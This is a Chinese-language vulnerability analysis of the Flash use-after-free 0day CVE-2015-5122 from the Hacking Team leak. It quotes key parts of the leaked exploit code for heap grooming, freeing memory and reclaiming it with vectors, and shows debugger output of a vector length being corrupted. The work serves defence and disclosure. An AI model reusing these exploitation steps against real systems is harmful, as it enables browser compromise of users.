前幾天我們分析了Hacking Team泄露數據中的3個exploit,包括一個flash 0day,一個flash nday和一個windows字體提權0day。昨天Adobe在發布了最新的flash版本(18.0.0.203),修補了其中的flash 0day(CVE-2015-5119)。然而今天twitter上面又有研究者爆猛料,稱Hacking Team泄露數據中還有一個未修補的flash 0day,在最新的flash版本中仍然可以觸發。Adobe隨后也發布了對應的安全公告APSA15-04,漏洞的CVE編號為:CVE-2015-5122。影響Windows、MacOSX和Linux平臺上的IE、Chrome瀏覽器等主流瀏覽器。
我們經過分析,確認這確實又是一個新的flash 0day,漏洞成因是DisplayObject在設置opaqueBackground屬性時,沒有正確處理可能發生的回調(又是valueOf,是在下輸了),而產生的Use After Free漏洞。本文將分析這個漏洞的成因和利用方式。
出問題的函數是DisplayObject對象的opaqueBackground屬性設置函數:
我們來看一下HackingTeam泄露的exploit代碼,關鍵部分如下:
#!c++
1 for(i=_arLen1; i < _arLen2; i++)
2 _ar[i] = _tb.createTextLine(); // fill 1016-byte holes (0x38c is a size of internal TextLine object)
3 for(i=_arLen1; i < _arLen2; i++)
4 _ar[i].opaqueBackground = 1; // alloc 1016 bytes
在這個過程中會每個TextLine Object內部會分配0x390大小的對象,對象分配的代碼在:
1 .text:1025DC71 push 1
2 .text:1025DC73 push eax
3 .text:1025DC74 push 390h
4 .text:1025DC79 call operator_new2
調試過程中分配的0x390內部對象地址:
Allocate 0x390 object:04cbc810
Allocate 0x390 object:0513c810
Allocate 0x390 object:0513cc08
Allocate 0x390 object:05d94020
Allocate 0x390 object:05d94418
Allocate 0x390 object:05d94810
Allocate 0x390 object:05d94c08
Allocate 0x390 object:05d95020
Allocate 0x390 object:05d95418
Allocate 0x390 object:05d95810
Allocate 0x390 object:05d95c08
Allocate 0x390 object:05d96020
Allocate 0x390 object:05d96418
Allocate 0x390 object:05d96810
Allocate 0x390 object:05d96c08
Allocate 0x390 object:05d97020
Allocate 0x390 object:05d97418
2 設置opaqueBackground,觸發valueOf函數調用:
1 MyClass.prototype.valueOf = valueOf2;
2
3 // here we go, call the vulnerable setter
4 _cnt = _arLen2-6;
5 _ar[_cnt].opaqueBackground = _mc;
和之前兩個漏洞一樣,exploit定義了自己的類,設置valueOf函數,然后在opaqueBackground的設置函數中,我們可以看到有一個將傳入的參數轉換為integer的過程,這個調用觸發了MyClass的valueOf函數:
.text:1025DD4C loc_1025DD4C: CODE XREF: set_opaqueBackground+2Fj
.text:1025DD4C push ebx
.text:1025DD4D push [esp+10h+param]
.text:1025DD51 call [email protected]@avmplus@@[email protected] ; avmplus::AvmCore::integer(int)
3 在valueOf函數中,釋放TextLine Object,并使用vector占位
#!c++
01 static function valueOf2()
02 {
03 try
04 {
05 if (++_cnt < _arLen2) {
06 // recursive call for next TextLine
07 _ar[_cnt].opaqueBackground = _mc;
08 }else{
09 Log("MyClass.valueOf2()");
10
11 // free internal objects
12 for(var i:int=1; i <= 5; i++)
13 _tb.recreateTextLine(_ar[_arLen2-i]);
14
15 // reuse freed memory
16 for(i=_arLen2; i < _arLen; i++)
17 _ar[i].length = _vLen;
18 }
19 }
20 catch (e:Error)
21 {
22 Log("valueOf2 " + e.toString());
23 }
24 return _vLen+8;
25 }
我們可以看到valueOf函數通過調用recreateTextLine釋放了原來的TextLine對象(因此0x390大小的內部對象也將被釋放)。然后使用0x190大小的vector
4 從valueOf返回,已經釋放的0x390內部對象被寫入
#!bash
eax=00000000 ebx=0000006a ecx=05d92708 edx=00000006 esi=05d97020 edi=0515dd78
eip=631bdd7e esp=0300bfec ebp=05d92708 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
Flash32_18_0_0_203!DllUnregisterServer+0x7489c:
631bdd7e 889e20030000 mov byte ptr [esi+320h],bl ds:0023:05d97340=62
0:006> dd esi
05d97020 00000062
04cb3000 00000037 00000000
Esi指向已經被釋放的0x390大小對象(0x5d97020),可以參考前面分配時記錄的對象地址,很容易看出這是其中一個0x390對象。寫入的是esi+0x320處,可以看到已經被vector占用,并且指向某個vector的長度字段(0x62)。 寫操作完成后,vector長度被篡改為0x6a:
0:006> p
0:006> dd esi+320 L4
05d97340 0000006a 04cb3000 00000039 00000000
之后exploit再利用這個稍微變長了一點點的vector,修改緊鄰的下一個vector的長度為0x40000000:
0:006> dd 5D974D0L4
05d974d0 40000000 04fc3000 0000003a 00000000
由于該漏洞利用非常穩定,而Adobe暫時沒有發布該漏洞的補丁,我們建議補丁發布之前,可以暫時先禁用flash插件。